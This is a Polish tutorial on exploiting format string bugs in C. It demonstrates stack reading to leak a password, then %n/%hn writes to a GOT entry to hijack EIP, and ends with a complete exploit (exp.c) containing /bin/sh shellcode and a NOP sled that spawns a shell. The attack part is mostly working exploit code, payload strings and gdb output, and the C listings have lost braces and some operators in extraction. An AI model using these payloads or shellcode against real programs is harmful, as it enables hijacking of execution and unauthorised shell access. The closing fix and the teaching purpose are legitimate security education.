Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl) Intro. Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach, których parametrem jest łańcuch formatujący) umoŝliwiają wypełnianie łańcuchów znakowych odpowiednimi danymi. Przykład.. //printf.c int main() int cena = 65; printf("ksiazka kosztuje %d zl\n", cena); return 0; [h07@md5 format]$ gcc -o printf printf.c [h07@md5 format]$./printf Ksiazka kosztuje 65 zl Rezultatem działania przykładowego programu printf.c jest wyświetlenie łańcucha znakowego wypełnionego danymi w sposób określony przez programistę. Specyfikator %d umoŝliwia wyświetlenie wartości typu całkowitego w systemie dziesiętnym. W naszym przypadku argumentem specyfikatora %d była zmienna int cena. Błędy łańcuchów formatujących występują wówczas, gdy ilość specyfikatorów jest większa od ilości odpowiadających im argumentów. Brakujące wartości pobierane są ze stosu co w rezultacie umoŝliwia hakerowi podejrzenie zawartości stosu w celu odczytania istotnych danych lub przejęcia kontroli nad wykonywaniem programu. Podgląd zawartości stosu. Przykładowy program fmt.c podatny jest na atak ciągu formatującego. UŜyta w nim funkcja snprintf() nie zawiera formatera, co w rezultacie daje nam moŝliwość wprowadzenia z zewnątrz własnego łańcucha formatującego. //fmt.c int main(int argc, char *argv[]) char buffer[512]; if(argc > 1) snprintf(buffer, sizeof(buffer) -1, argv[1]); printf("%s\n", buffer);
return 0; [h07@md5 format]$ gcc -o fmt fmt.c [h07@md5 format]$./fmt "%d %d %d %d %d %d %d %d %d %d" 0 0 0 0 0 540024880 540024880 875896880 875704368 540031032 Do programu fmt.c wprowadzono 10 specyfikatorów %d, dla których nie określono argumentów zawierających wartości całkowite. Konsekwencją tego było odczytanie brakujących danych ze stosu i wyświetlenie ich w systemie dziesiętnym. 0 0 0 0 0 540024880 540024880 875896880 875704368 540031032 Specyfikator %x umoŝliwia wyświetlenie wartości w systemie 16-stkowym. [h07@md5 format]$./fmt "%x %x %x %x %x %x %x %x %x %x" 0 0 0 0 0 20302030 20302030 30322030 30323033 32203033 MoŜliwe jest zatem pobieranie danych ze stosu ale jak praktycznie to wykorzystać? //format.c int main(int argc, char *argv[]) char buffer[150]; char *password = "hello world"; if(argc == 1 strlen(argv[1]) > 100) printf("usege: %s <password>\n", argv[0]); exit(0); if(strcmp(argv[1], password) == 0) printf("password ok\n"); else sprintf(buffer, "Access denied, bad password: %s\n", argv[1]); printf(buffer); return 0; Powyzszy program podatny jest na błąd łańcucha formatującego. Standardowo weryfikuje on poprawność hasła, po czym wyświetla stosowny komunikat. Jeśli w tablicy argv[1] umieścimy dodatkowe specyfikatory to brakujące dane zostaną pobrane ze stosu (w tym nasz tajne hasło hello world ). Aby odczytać dane ze stosu w postaci łańcucha znakowego posłuŝymy się specyfikatorem %s, którego argument jest wskaźnikiem do łańcucha znaków. [h07@md5 format]$ for((i = 1; i <= 30; i++)); do echo -n "[$i] : " &&./format "[%$i\$x] = '%$i\$s'"; done [1] : Access denied, bad password: [8048618] = 'Access denied, bad password: %s '
[2] : Access denied, bad password: [bffff80f] = '[%2$x] = '%2$s'' [3] : Segmentation fault [4] : Access denied, bad password: [0] = '(null)' [5] : Access denied, bad password: [0] = '(null)' [6] : Access denied, bad password: [40033bcc] = '' [7] : Access denied, bad password: [4002ebb4] = '' [8] : Access denied, bad password: [40026384] = '' [9] : Access denied, bad password: [40015128] = '' [10] : Segmentation fault [11] : Access denied, bad password: [80485e8] = 'hello world' [12] : Segmentation fault [13] : Segmentation fault [14] : Segmentation fault [15] : Segmentation fault [16] : Segmentation fault [17] : Segmentation fault [18] : Segmentation fault [19] : Segmentation fault [20] : Segmentation fault [21] : Segmentation fault [22] : Segmentation fault [23] : Segmentation fault '24] : Access denied, bad password: [40015408] = ii [25] : Segmentation fault [26] : Access denied, bad password: [0] = '(null)' [27] : Segmentation fault [28] : Access denied, bad password: [40014998] = 'ŘS@' [29] : Access denied, bad password: [0] = '(null)' [30] : Access denied, bad password: [bffff5a4] = ' ı ' Wykonując powyŝsze polecenie odczytaliśmy dane ze stosu (przesuniecie względem szczytu stosu określane jest poprzez zmienną iteracyjną i). Korzystając ze specyfikatorów %x i %s ("[%$i\$x] = '%$i\$s'") odczytaliśmy zarówno wartości szesnastkowe jak i łańcuchy znakowe. Nasze tajne hasło zostało odczytane podczas 11 iteracji pętli [11] : Access denied, bad password: [80485e8] = 'hello world' MoŜemy teraz odczytać nasze hasło stosując metodę bezpośredniego dostępu do parametru. [h07@md5 format]$./format "%11\$s" Access denied, bad password: hello world [h07@md5 format]$./format "hello world" Password ok Przejęcie kontroli nad wykonywaniem programu. Wykorzystanie błędów łańcuchów formatujących do przejęcia kontroli nad wykonywaniem programu nie jest rzeczą łatwą. Przede wszystkim musimy zapoznać się ze specyfikatorem %n. Ów specyfikator umieszcza ilość wyprowadzonych przed nim znaków w adresie pamięci określonym przez argument. Jeśli nie określimy argumentu dla specyfikatora %n, pobierze on brakujące dane ze stosu traktując je jako adres pod którym zostanie zapisana liczba wybprowadzonych przed nim znaków. Konsekwencją tego będzie nadpisanie niedozwolonych obszarów pamięci czyli błąd segmentacji.
[h07@md5 format]$./fmt "AAAA%n" Segmentation fault I co dalej? Jeśli odnajdziemy przesunięcie względem szczytu stosu, w którym znajduje się nasz łańcuch znakowy (wypełniony konkretnym adresem) wprowadzany do programu i zmusimy specyfikator %n by pobrał nasz łańcuch jako argument to da nam to moŝliwość zapisu liczby wyprowadzonych znaków przed specyfikatorem %n w dowolnym miejscu pamięci. [h07@md5 format]$./fmt "AAAABBBB %x %x %x %x %x %x %x %x %x %x" AAAABBBB 0 0 0 0 0 41414141 42424242 30203020 30203020 34203020 [h07@md5 format]$./fmt "AAAA %x %x %x %x %x %x" AAAA 0 0 0 0 0 41414141 [h07@md5 format]$./fmt "AAAA%6\$x" AAAA41414141 Widzimy Ŝe początek naszego łańcucha znakowego znajduje się w szóstym przesunięciu względem szczytu stosu. Oznacza to, iŝ potrzebujemy sześciu specyfikatorów %x aby uzyskać 16-stkową reprezentacja łańcucha znakowego AAAA czyli 41414141. UŜyjmy teraz specyfikatora %n zamiast %x i zobaczmy co się stanie. [h07@md5 format]$ gdb fmt (gdb) r "AAAA%6\$n" Starting program: /home/h07/format/fmt "AAAA%6\$n" 0x40060272 in vfprintf () from /lib/tls/libc.so.6 (gdb) info reg eax 0xf 15 ecx 0x41414141 1094795585 edx 0x0 0 ebx 0x4013f218 1075048984 esp 0xbfffe5d0 0xbfffe5d0 ebp 0xbffff25c 0xbffff25c esi 0xbfffe5f0-1073748496 edi 0x4 4 eip 0x40060272 0x40060272 eflags 0x210246 2163270 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/1i $eip 0x40060272 <vfprintf+14642>: mov %edi,(%ecx) Próbowaliśmy zapisać wartość 0x4 pod adresem 0x41414141. Przed specyfikatorem %n umieściliśmy cztery znaki (AAAA) dlatego rejestr EDI ma wartość 0x4.
Jednym ze sposobów zmiany sterowania programu jest modyfikacja wartości umieszczonej pod adresem funkcji znajdującej się w tabeli GOT (Global Offset Table). Do takich funkcji naleŝy między innymi funkcja printf() i pierwszym krokiem jest ustalenie jej adresu. [h07@md5 format]$ objdump -R fmt fmt: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080495e0 R_386_GLOB_DAT gmon_start 080495d4 R_386_JUMP_SLOT libc_start_main 080495d8 R_386_JUMP_SLOT printf 080495dc R_386_JUMP_SLOT snprintf W naszym przypadku funkcja printf() ma adres 080495d8. PoniewaŜ procesory zapisują adresy zaczynając od bajtów mniej znaczących musimy odwrócić kolejność bajtów adresu wprowadzanego do łańcucha formatującego. 080495d8 = \xd8\x95\x04\x08 Spróbujmy zatem nadpisac ten adres wartością 0x4 i zobaczmy co się stanie. [h07@md5 format]$ gdb fmt (gdb) r $'\xd8\x95\x04\x08%6$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%6$n' 0x00000004 in?? () (gdb) info reg eax 0xbffff3b0-1073744976 ecx 0xbffff320-1073745120 edx 0x4 4 ebx 0x4013f218 1075048984 esp 0xbffff38c 0xbffff38c ebp 0xbffff5b8 0xbffff5b8 esi 0xbffff644-1073744316 edi 0xbffff5d0-1073744432 eip 0x4 0x4 eflags 0x210292 2163346 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 Bingo ;) Sterowanie zostało zmienione. Rejestr sterujący EIP przyjął wartość 0x4 co spowodowało skok do adresu 0x00000004. Dlaczego 0x4 skoro nie wprowadziliśmy znaków AAAA? PoniewaŜ przed specyfikatorem %n umieściliśmy 4-bajtowy adres \xd8\x95\x04\x08 (\bajt\bajt\bajt\bajt).
MoŜemy wywnioskować ze długość łańcucha formatującego w systemie dziesiętnym odpowiada wartości rejestru EIP w systemie szesnastkowym. Spróbujmy zatem nadpisać rejestr EIP wartością 0x4141. //convert.c int main() int RET = 0x4141; printf("length: %d\n", RET -4); return 0; [h07@md5 format]$ gcc -o convert convert.c [h07@md5 format]$./convert Length: 16701 [h07@md5 format]$ gdb fmt (gdb) r $'\xd8\x95\x04\x08%16701x%6$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%16701x%6$n' 0x00004141 in?? () (gdb) info reg eip eip 0x4141 0x4141 Program convert.c zamienił wartość 16-stkową 0x4141 na system dziesiętny odejmując długość łańcucha formatującego czyli 4 (4-bajtowy adres) Uzyskaliśmy wartość 16701, która wprowadzona do łańcucha formatującego dała rezultat nadpisania rejestru EIP wartością 0x4141. Sytuacja nieco się komplikuje gdy chcemy nadpisac rejestr EIP pełnym (4-bajtowym) adresem np. 0x41414242. Musimy rozbić ów adres na dwie części i zapisać pierwszą z nich w adresie funkcji printf() a drugą część bezpośrednio pod tym adresem (adres funkcji printf + 2 [ 080495d8 +2 = 080495da = \xda\x95\x04\x08 ]). Do tego celu uŝyjemy specyfikatora %hn, który umoŝliwia zapisanie wartości 16-bitowej (2-bajtowej). jeśli A < B r $'\xda\x95\x04\x08\xd8\x95\x04\x08%( A )x%6$hn%( B A )x%7$hn' jeśli A > B r $'\xd8\x95\x04\x08\xda\x95\x04\x08%( B )x%6$n%( A B )x%7$n' PowyŜej przedstawiony został prosty schemat ustalający długość łańcucha formatującego tak by uzyskane wartości powodowały napisanie rejestru EIP konkretnym adresem. Przykład: Adres = 0x41414242 Długość łańcucha = 8 A = hex: 4141 = dec: 16705
B = hex: 4242 = dec: 16962 (A < B) A: 16705-8 = 16697 B: 16962 16697 8 = 257 (gdb) r $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn' Starting program: /home/h07/format/fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn' 0x41414242 in?? () (gdb) info reg eip eip 0x41414242 0x41414242 Adres = 0x42424141 Długość łańcucha = 8 A = hex: 4242 = dec: 16962 B = hex: 4141 = dec: 16705 (A > B) B: 16705-8 = 16697 A: 16962 16697 8 = 257 (gdb) r $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n' 0x42424141 in?? () (gdb) info reg eip eip 0x42424141 0x42424141 Potrafimy juŝ napisać rejestr EIP dowolnym adresem więc nadszedł czas napisać exploit który wykorzysta błąd łańcucha formatującego w programie fmt.c uruchamiając kod powłoki. //exp.c (format string exploit demo) by h07 #include <stdio.h> #define BUFF_SIZE 1000 #define LEN 8 #define NOP 0x90 char buffer[buff_size]; char fmt[80]; char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x58\x59\x59\x59\x59\x5a\x5a\x5a\x5a"; unsigned long get_esp() asm ("movl %esp,%eax"); int main(int argc, char *argv[]) unsigned long RET, offset = 0; unsigned int A, B; if(argc > 1) offset = atoi(argv[1]); RET = get_esp() - offset; A = (RET & 0xffff0000) >> 16; B = (RET & 0x0000ffff); printf("\nret: 0x%x\n", RET); if(a < B) A -= LEN; sprintf(fmt, "$'\\xda\\x95\\x04\\x08\\xd8\\x95\\x04\\x08" "%%%ux%%6$hn" "%%%ux%%7$hn'", A, (B - A) -LEN); else B -= LEN; sprintf(fmt, "$'\\xd8\\x95\\x04\\x08\\xda\\x95\\x04\\x08" "%%%ux%%6$hn" "%%%ux%%7$hn'", B, (A - B) -LEN); if((sizeof(fmt) + sizeof(shellcode)) > BUFF_SIZE) printf("error: buffer too small..\n"); exit(1); memset(buffer, NOP, BUFF_SIZE -1); memcpy(buffer, "EXP=", 4); memcpy(buffer + BUFF_SIZE -1 - strlen(shellcode), shellcode, strlen(shellcode)); putenv(buffer); printf("\nformat string: %s\n\n", fmt); system("/bin/bash"); return 0;
Exploit ustala adres powrotny po przez odjęcie offsetu od wierzchołka stosu. Następnie uzyskany adres powrotny rozdzielany jest na dwie części (A i B) po czym następuje obliczanie długości łańcucha formatującego. Obliczone wartości nadpisują adres funkcji printf() i adres znajdujący się pod nią uzyskując 16-stkową reprezentacje adresu do którego zostanie wykonany skok. Na samym koncu tworzona jest zmienna systemowa $EXP o rozmiarze 1000 bajtów która wypełniana jest instrukcjami NOP a później shellcodem. Odpalamy exploit: [h07@md5 format]$ gcc -o exp exp.c [h07@md5 format]$./exp -400 RET: 0xbffff748 format string: $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14153x%7$hn' [h07@md5 format]$./fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14153x%7$hn' Segmentation fault [h07@md5 format]$./exp -800 RET: 0xbffff8d8 format string: $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14553x%7$hn' [h07@md5 format]$./fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14553x%7$hn' sh-2.05b$ W ten oto sposób wykorzystaliśmy błąd łańcucha formatującego w programie fmt.c zmieniając jego sterowanie i uruchamiając kod powłoki znajdujący się w zmiennej systemowej $EXP. Outro. Błąd łańcucha formatującego znajdujący się w programie fmt.c jest bardzo łatwy do naprawienia. Wystarczy umieścić w funkcji snprinf() formater określający sposób formatowania danych. snprintf(buffer, sizeof(buffer) -1, argv[1]); //źle snprintf(buffer, sizeof(buffer) -1, "%s", argv[1]); //dobrze Ataki typu format string stają się coraz rzadsze. Nie znaczy to jednak ze błędy tego typu nie mają juz miejsca czego przykładem jest między innymi serwer FTP wu-ftp 2.6.0. EoF;